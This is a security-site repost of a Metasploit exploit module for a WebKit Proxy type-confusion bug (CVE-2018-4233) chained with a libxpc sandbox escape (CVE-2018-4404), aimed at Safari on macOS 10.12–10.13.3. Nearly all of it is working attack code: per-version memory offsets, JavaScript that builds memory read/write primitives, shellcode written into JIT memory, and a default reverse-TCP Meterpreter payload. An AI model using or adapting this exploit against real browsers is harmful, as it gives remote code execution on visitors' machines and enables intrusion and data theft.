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Safari Proxy Object Type Confusion

Safari Proxy Object Type Confusion
Posted Dec 13, 2018
Authored by saelo | Site metasploit.com

This Metasploit module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion.

tags | exploit, arbitrary, javascript
advisories | CVE-2018-4233, CVE-2018-4404
MD5 | c501475e6a50c14cfc8ea6a100c5476d

Safari Proxy Object Type Confusion

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Safari Proxy Object Type Confusion',
'Description' => %q{
This module exploits a type confusion bug in the Javascript Proxy object in
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
it is possible to run arbitrary JS code during the execution of a CreateThis
operation. This makes it possible to change the structure of e.g. an argument
without causing a bailout, leading to a type confusion (CVE-2018-4233).

The JIT region is then replaced with shellcode which loads the second stage.
The second stage exploits a logic error in libxpc, which uses command execution
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
},
'License' => MSF_LICENSE,
'Author' => [ 'saelo' ],
'References' => [
['CVE', '2018-4233'],
['CVE', '2018-4404'],
['URL', 'https://github.com/saelo/cve-2018-4233'],
['URL', 'https://github.com/saelo/pwn2own2018'],
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
],
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],
'Platform' => 'osx',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DisclosureDate' => 'Mar 15 2018'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
])
end

def offset_table
{
'10.12.6' => {
:jsc_vtab => '0x0000d8d8',
:dyld_stub_loader => '0x00001168',
:dlopen => '0x000027f7',
:confstr => '0x00002c84',
:strlen => '0x00001b40',
:strlen_got => '0xdc0',
},
'10.13' => {
:jsc_vtab => '0x0000e5f8',
:dyld_stub_loader => '0x000012a8',
:dlopen => '0x00002e60',
:confstr => '0x000024fc',
:strlen => '0x00001440',
:strlen_got => '0xee8',
},
'10.13.3' => {
:jsc_vtab => '0xe5e8',
:dyld_stub_loader => '0x1278',
:dlopen => '0x2e30',
:confstr => '0x24dc',
:strlen => '0x1420',
:strlen_got => '0xee0',
},
}
end

def exploit_data(directory, file)
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file
::File.binread path
end

def stage1_js
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"
end

def stage2_js
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"
payload_cmd = payload.raw
if target['Arch'] == ARCH_PYTHON
payload_cmd = "echo \"#{payload_cmd}\" | python"
end
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')
stage2[placeholder_index, payload_cmd.length] = payload_cmd
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"
end

def get_offsets(user_agent)
if user_agent =~ /Intel Mac OS X (.*?)\)/
version = $1.gsub("_", ".")
mac_osx_version = Gem::Version.new(version)
if mac_osx_version >= Gem::Version.new('10.13.4')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif mac_osx_version < Gem::Version.new('10.12')
print_warning "macOS version #{mac_osx_version} is not vulnerable"
elsif offset_table.key?(version)
offset = offset_table[version]
return <<-EOF
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
const DLOPEN_OFFSET = #{offset[:dlopen]};
const CONFSTR_OFFSET = #{offset[:confstr]};
const STRLEN_OFFSET = #{offset[:strlen]};
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
EOF
else
print_warning "No offsets for version #{mac_osx_version}"
end
else
print_warning "Unexpected User-Agent"
end
return false
end

def on_request_uri(cli, request)
user_agent = request['User-Agent']
print_status("Request from #{user_agent}")
offsets = get_offsets(user_agent)
unless offsets
send_not_found(cli)
return
end

utils = exploit_data "CVE-2018-4233", "utils.js"
int64 = exploit_data "CVE-2018-4233", "int64.js"
html = %Q^
<html>
<body>
<script>
#{stage1_js}
stage1.replace = function(oldVal, newVal) {
for (var idx = 0; idx < this.length; idx++) {
var found = true;
for (var j = idx; j < idx + 8; j++) {
if (this[j] != oldVal.byteAt(j - idx)) {
found = false;
break;
}
}
if (found)
break;
}
this.set(newVal.bytes(), idx);
};
#{stage2_js}
#{utils}
#{int64}
#{offsets}

var ready = new Promise(function(resolve) {
if (typeof(window) === 'undefined')
resolve();
else
window.onload = function() {
resolve();
}
});

ready = Promise.all([ready]);

print = function(msg) {
//console.log(msg);
//document.body.innerText += msg + '\\n';
}

// Must create this indexing type transition first,
// otherwise the JIT will deoptimize later.
var a = [13.37, 13.37];
a[0] = {};

var referenceFloat64Array = new Float64Array(0x1000);

//
// Bug: the DFG JIT does not take into account that, through the use of a
// Proxy, it is possible to run arbitrary JS code during the execution of a
// CreateThis operation. This makes it possible to change the structure of e.g.
// an argument without causing a bailout, leading to a type confusion.
//

//
// addrof primitive
//
function setupAddrof() {
function InfoLeaker(a) {
this.address = a[0];
}

var trigger = false;
var leakme = null;
var arg = null;

var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);

for (var i = 0; i < 100000; i++) {
new InfoLeakerProxy([1.1, 2.2, 3.3]);
}

trigger = true;

return function(obj) {
leakme = obj;
arg = [1.1, 1.1];
var o = new InfoLeakerProxy(arg);
return o.address;
};
}

//
// fakeobj primitive
//
function setupFakeobj() {
function ObjFaker(a, address) {
a[0] = address;
}

var trigger = false;
var arg = null;

var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
var ObjFakerProxy = new Proxy(ObjFaker, handler);

for (var i = 0; i < 100000; i++) {
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);
}

trigger = true;

return function(address) {
arg = [1.1, 1.1];
var o = new ObjFakerProxy(arg, address);
return arg[0];
};
}

function makeJITCompiledFunction() {
// Some code to avoid inlining...
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}

// Force JIT compilation.
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}

function pwn() {
// Spray Float64Array structures so that structure ID 0x1000 will
// be a Float64Array with very high probability
var structs = [];
for (var i = 0; i < 0x1000; i++) {
var a = new Float64Array(1);
a['prop' + i] = 1337;
structs.push(a);
}

// Setup exploit primitives
var addrofOnce = setupAddrof();
var fakeobjOnce = setupFakeobj();

// (Optional) Spray stuff to keep the background GC busy and increase reliability even further
/*
var stuff = [];
for (var i = 0; i < 0x100000; i++) {
stuff.push({foo: i});
}
*/

var float64MemView = new Float64Array(0x200);
var uint8MemView = new Uint8Array(0x1000);

// Setup container to host the fake Float64Array
var jsCellHeader = new Int64([
00, 0x10, 00, 00, // m_structureID
0x0, // m_indexingType
0x2b, // m_type
0x08, // m_flags
0x1 // m_cellState
]);

var container = {
jsCellHeader: jsCellHeader.asJSValue(),
butterfly: null,
vector: float64MemView,
length: (new Int64('0x0001000000001337')).asJSValue(),
mode: {}, // an empty object, we'll need that later
};

// Leak address and inject fake object
// RawAddr == address in float64 form
var containerRawAddr = addrofOnce(container);
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);
print("[+] Fake Float64Array @ " + fakeArrayAddr);

///
/// BEGIN CRITICAL SECTION
///
/// Objects are corrupted, a GC would now crash the process.
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.
///
var driver = fakeobjOnce(fakeArrayAddr.asDouble());
while (!(driver instanceof Float64Array)) {
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
container.jsCellHeader = jsCellHeader.asJSValue();
}

// Get some addresses that we'll need to repair our objects. We'll abuse the .mode
// property of the container to leak addresses.
driver[2] = containerRawAddr;
var emptyObjectRawAddr = float64MemView[6];
container.mode = referenceFloat64Array;
var referenceFloat64ArrayRawAddr = float64MemView[6];

// Fixup the JSCell header of the container to make it look like an empty object.
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.
driver[2] = emptyObjectRawAddr;
var header = float64MemView[0];
driver[2] = containerRawAddr;
float64MemView[0] = header;

// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).
driver[2] = referenceFloat64ArrayRawAddr;
var header = float64MemView[0];
var length = float64MemView[3];
var mode = float64MemView[4];
driver[2] = containerRawAddr;
float64MemView[2] = header;
float64MemView[3] = 0;
float64MemView[5] = length;
float64MemView[6] = mode;

// Root the container object so it isn't garbage collected.
// This will allocate a butterfly for the fake object and store a reference to the container there.
// The fake array itself is rooted by the memory object (closures).
driver.container = container;

///
/// END CRITICAL SECTION
///
/// Objects are repaired, we will now survive a GC
///
if (typeof(gc) !== 'undefined')
gc();

memory = {
read: function(addr, length) {
driver[2] = memory.addrof(uint8MemView).asDouble();
float64MemView[2] = addr.asDouble();
var a = new Array(length);
for (var i = 0; i < length; i++)
a[i] = uint8MemView[i];
return a;
},

write: function(addr, data) {
driver[2] = memory.addrof(uint8MemView).asDouble();
float64MemView[2] = addr.asDouble();
for (var i = 0; i < data.length; i++)
uint8MemView[i] = data[i];
},

read8: function(addr) {
driver[2] = addr.asDouble();
return Int64.fromDouble(float64MemView[0]);
},

write8: function(addr, value) {
driver[2] = addr.asDouble();
float64MemView[0] = value.asDouble();
},

addrof: function(obj) {
float64MemView.leakme = obj;
var butterfly = Int64.fromDouble(driver[1]);
return memory.read8(Sub(butterfly, 0x10));
},
};

print("[+] Got stable memory read/write!");

// Find binary base
var funcAddr = memory.addrof(Math.sin);
var executableAddr = memory.read8(Add(funcAddr, 24));
var codeAddr = memory.read8(Add(executableAddr, 24));
var vtabAddr = memory.read8(codeAddr);
var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);
print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);
var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));
print("[*] JavaScriptCore.dylib @ " + jscBase);

var dyldStubLoaderAddr = memory.read8(jscBase);
var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);
var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));
var libCBase = Sub(strlenAddr, STRLEN_OFFSET);
print("[*] dyld.dylib @ " + dyldBase);
print("[*] libsystem_c.dylib @ " + libCBase);

var confstrAddr = Add(libCBase, CONFSTR_OFFSET);
print("[*] confstr @ " + confstrAddr);
var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);
print("[*] dlopen @ " + dlopenAddr);

// Patching shellcode
var stage2Addr = memory.addrof(stage2);
stage2Addr = memory.read8(Add(stage2Addr, 16));
print("[*] Stage 2 payload @ " + stage2Addr);

stage1.replace(new Int64("0x4141414141414141"), confstrAddr);
stage1.replace(new Int64("0x4242424242424242"), stage2Addr);
stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));
stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);
print("[+] Shellcode patched");

// Leak JITCode pointer poison value
var poison_addr = Add(jscBase, 305152);
print("[*] Poison value @ " + poison_addr);
var poison = memory.read8(poison_addr);
print("[*] Poison value: " + poison);

// Shellcode
var func = makeJITCompiledFunction();
var funcAddr = memory.addrof(func);
print("[+] Shellcode function object @ " + funcAddr);
var executableAddr = memory.read8(Add(funcAddr, 24));
print("[+] Executable instance @ " + executableAddr);
var jitCodeAddr = memory.read8(Add(executableAddr, 24));
print("[+] JITCode instance @ " + jitCodeAddr);

var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));
var codeAddr = Xor(codeAddrPoisoned, poison);
print("[+] RWX memory @ " + codeAddr.toString());
print("[+] Writing shellcode...");
var origCode = memory.read(codeAddr, stage1.length);
memory.write(codeAddr, stage1);

print("[!] Jumping into shellcode...");
var res = func();
if (res === 0) {
print("[+] Shellcode executed sucessfully!");
} else {
print("[-] Shellcode failed to execute: error " + res);
}

memory.write(codeAddr, origCode);
print("[*] Restored previous JIT code");

print("[+] We are done here, continuing WebContent process as if nothing happened =)");
if (typeof(gc) !== 'undefined')
gc();
}

ready.then(function() {
try {
pwn();
} catch (e) {
print("[-] Exception caught: " + e);
}
}).catch(function(err) {
print("[-] Initializatin failed");
});

</script>
</body>
</html>
^
unless datastore['DEBUG_EXPLOIT']
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')
end
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end

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